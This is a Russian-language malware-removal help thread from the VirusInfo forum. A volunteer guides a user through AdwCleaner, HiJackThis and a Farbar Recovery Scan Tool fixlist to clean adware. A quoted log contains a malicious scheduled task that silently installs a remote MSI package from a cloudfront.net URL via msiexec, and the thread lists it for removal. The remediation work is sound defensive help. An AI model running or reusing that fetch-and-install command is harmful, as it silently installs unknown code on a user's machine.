Ребята, помогите) Уж чем не чистил уже и kaspersky internet security 2017 и dr web cureit и AdWare киллерами гонял... не вычесывается, а операционку переустанавливать не хотелось бы. Заранее благодарю.
Ребята, помогите) Уж чем не чистил уже и kaspersky internet security 2017 и dr web cureit и AdWare киллерами гонял... не вычесывается, а операционку переустанавливать не хотелось бы. Заранее благодарю.
Уважаемый(ая) mirage11, спасибо за обращение на наш форум!
Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.
![]()
Информация
Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.
Здравствуйте,
Удалите IObit\Advanced SystemCare через установку программ в панели управления.
Знакома ли Вам?
HiJackThis (из каталога автологгера) профикситьКод:O20 - AppInit_DLLs: C:\PROGRA~1\COMMON~1\avest\avest, csp\AvSSPc.dll
- Подготовьте лог AdwCleaner и приложите его в теме.Код:O21 - ShellIconOverlayIdentifiers: 00avast - {472083B0-C522-11CF-8763-00608CC02F24} - (no file) O22 - Task (Ready): Driver Booster SkipUAC (Владимир) - C:\Program Files (x86)\IObit\Driver Booster\4.3.0\DriverBooster.exe /skipuac (file missing) O22 - Task (Ready): Sazutionarerlitain - C:\WINDOWS\system32\msiexec.exe /i hTTp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=HGSTXHTS541075A9E680_JA12021G0HYRXK0HYRXKX&d=20170429 /q
CCNA, CCNP, CCNA Security, CCDA, CCDP
MCP, Microsoft Specialist: Srv Virtualization with WinSrv Hyper-V and System Center
IObit\Advanced SystemCare удалил.
- знаком, это менеджер сертефикатов от рабочего клиент-банкаЗнакома ли Вам?
Код:
O20 - AppInit_DLLs: C:\PROGRA~1\COMMON~1\avest\avest, csp\AvSSPc.dll
в HiJackThis пофиксил
лог AdwCleaner прилагаю
- - - - -Добавлено - - - - -
после всех выполненных процедур на всякий случай прилагаю свежий CollectionLog. За время пока ждал ответ мы с kaspersky internet security 2017 долго воевали с внезапно скачанными программами и заблокированными ссылками... Где то что то засело)
Удалите в AdwCleaner всё, кроме папок с названиями программ которыми вы пользуетесь (если ничем из перечисленного в логе не пользуетесь, то удалите всё). Отчет после удаления прикрепите.
CCNA, CCNP, CCNA Security, CCDA, CCDP
MCP, Microsoft Specialist: Srv Virtualization with WinSrv Hyper-V and System Center
Необходим лог удаления вида AdwCleaner[С0].txt
CCNA, CCNP, CCNA Security, CCDA, CCDP
MCP, Microsoft Specialist: Srv Virtualization with WinSrv Hyper-V and System Center
готово, правда chrome похерился после удаления, и новый не ставиться
- Скачайте Farbar Recovery Scan Toolи сохраните на Рабочем столе.
Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
- Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
- Убедитесь, что в окне Optional Scan отмечены "List BCD" и "Driver MD5".
- Нажмите кнопку Scan.
- После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа. Пожалуйста, прикрепите отчет в следующем сообщении.
- Если программа была запущена в первый раз, будет создан отчет (Addition.txt). Пожалуйста, прикрепите его в следующем сообщении.
CCNA, CCNP, CCNA Security, CCDA, CCDP
MCP, Microsoft Specialist: Srv Virtualization with WinSrv Hyper-V and System Center
отчет FRST.txt
- - - - -Добавлено - - - - -
отчет Addition.txt
- Закройте и сохраните все открытые приложения.
- Скопируйте приведенный ниже текст в Блокнот и сохраните файл как fixlist.txt в ту же папку откуда была запущена утилита Farbar Recovery Scan Tool:
Код:CreateRestorePoint: CloseProcesses: HKU\S-1-5-21-3601007240-160726263-2052129484-1000\...\Policies\Explorer: [] IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe ShellExecuteHooks: No Name - {74F614F6-2BBE-11E7-95E9-64006A5CFC23} - -> No File ShellIconOverlayIdentifiers: [.QMDeskTopGCIcon] -> {B7667919-3765-4815-A66D-98A09BE662D6} => C:\Program Files (x86)\Tencent\QQPCMgr\11.1.16923.222\QMGCShellExt64.dll [2016-01-15] (Tencent) GroupPolicy: Restriction - Chrome <======= ATTENTION GroupPolicy\User: Restriction <======= ATTENTION CHR HKLM\SOFTWARE\Policies\Google: Restriction <======= ATTENTION HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION HKU\S-1-5-21-3601007240-160726263-2052129484-1000\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION HKU\S-1-5-21-3601007240-160726263-2052129484-1001\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION FF Extension: (No Name) - C:\Users\Владимир\AppData\Roaming\Mozilla\Firefox\Profiles\e9h9n55w.default\extensions\[email protected] [not found] CHR HKLM-x32\...\Chrome\Extension: [lifbcibllhkdhoafpjfnlhfpfgnpldfl] - hxxps://clients2.google.com/service/update2/crx CHR HKLM-x32\...\Chrome\Extension: [pnooffjhclkocplopffdbcdghmiffhji] - hxxps://clients2.google.com/service/update2/crx OPR Extension: (Fast search) - C:\Users\Владимир\AppData\Roaming\Opera Software\Opera Stable\Extensions\pbdpajcdgknpendpmecafmopknefafha [2017-04-29] File: C:\WINDOWS\SysWOW64\srvany.exe 2017-05-18 16:38 - 2017-05-18 16:38 - 00000000 ____D C:\Program Files (x86)\{AD381F00-D7EA-4F5A-8F36-3BB3C85DE2E7} 2017-05-16 12:38 - 2017-05-16 12:38 - 00000000 ____D C:\Program Files (x86)\{32F2F7F7-7E6D-4EC2-80EE-64711120FD67} 2017-04-29 20:38 - 2017-04-29 23:04 - 00000000 ____D C:\Users\Владимир\AppData\Roaming\Coerwit 2017-04-29 20:38 - 2017-04-29 20:38 - 00000000 ____D C:\Users\Владимир\AppData\Local\Phejoty 2017-04-29 19:29 - 2017-04-29 19:29 - 00000000 ____D C:\WINDOWS\IObit 2017-05-03 23:04 - 2017-02-14 14:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\IObit Uninstaller 2017-04-30 10:01 - 2015-03-09 22:17 - 00000000 ____D C:\Users\Все пользователи\IObit 2017-04-30 10:01 - 2015-03-09 22:17 - 00000000 ____D C:\ProgramData\IObit 2017-04-29 22:58 - 2015-03-09 22:17 - 00000000 ____D C:\Users\Все пользователи\ProductData 2017-04-29 22:58 - 2015-03-09 22:17 - 00000000 ____D C:\ProgramData\ProductData 2017-04-29 22:58 - 2015-03-09 22:17 - 00000000 ____D C:\Program Files (x86)\IObit 2017-02-07 10:20 - 2017-02-07 10:20 - 0000000 ____H () C:\ProgramData\DP45977C.lfl Task: {36EF4EBC-2160-4708-985A-0624F998CC7E} - \Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B -> No File <==== ATTENTION Task: {74592A27-64C9-4ED4-A449-BE732D9E09AF} - \OfficeSoftwareProtectionPlatform\SvcRestartTask -> No File <==== ATTENTION Task: {7C6E1FFE-54C4-450A-9914-767EE9EAB483} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> No File <==== ATTENTION Task: {9F6F1A25-F412-4B6F-AD52-CE1F77B5A9AC} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> No File <==== ATTENTION Task: {BB785086-515B-413A-8799-8529596457BF} - System32\Tasks\ASC8_SkipUac_Владимир => C:\Program Files (x86)\IObit\Advanced SystemCare 8\ASC.exe Task: {BE44382E-327A-44A5-89BA-AF1C6AA8B9A2} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> No File <==== ATTENTION Task: {C1617F68-2602-456E-BB03-D488BDC5B0C9} - System32\Tasks\Uninstaller_SkipUac_Владимир => C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUninstaler.exe Task: {E636AD54-64C6-4205-A765-144C32596563} - System32\Tasks\ASC8_PerformanceMonitor => C:\Program Files (x86)\IObit\Advanced SystemCare 8\Monitor.exe Task: {F2EEF2D4-0FDE-4C7E-AE37-125B16429601} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> No File <==== ATTENTION Task: {F902DE67-9039-4394-8F76-CC1085717805} - \Microsoft\Windows\MemoryDiagnostic\VideoMemoryDiagnostic -> No File <==== ATTENTION HKLM\...\StartupApproved\Run32: => " QQPCTray" Reboot:- Запустите FRST и нажмите один раз на кнопку Fix и подождите.
- Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении!
- Обратите внимание, что компьютер будет перезагружен.
CCNA, CCNP, CCNA Security, CCDA, CCDP
MCP, Microsoft Specialist: Srv Virtualization with WinSrv Hyper-V and System Center
вот Fixlog.txt
Сообщите, что с проблемой?
CCNA, CCNP, CCNA Security, CCDA, CCDP
MCP, Microsoft Specialist: Srv Virtualization with WinSrv Hyper-V and System Center
Запустите AdwCleaner и нажмите Деинсталлировать (Uninstall).
Удалите папку C:\FRST со всем содержимым.
Выполните рекомендации после лечения.
Удачи Вам!
CCNA, CCNP, CCNA Security, CCDA, CCDP
MCP, Microsoft Specialist: Srv Virtualization with WinSrv Hyper-V and System Center
Уважаемый(ая) mirage11, наши специалисты оказали Вам всю возможную помощь по вашему обращению.
В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:
Чтобы всегда быть в курсе актуальных угроз в области информационной безопасности и сохранять свой компьютер защищенным, рекомендуем следить за последними новостями ИТ-сферы портала Anti-Malware.ru:
Надеемся больше никогда не увидеть ваш компьютер зараженным!
Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.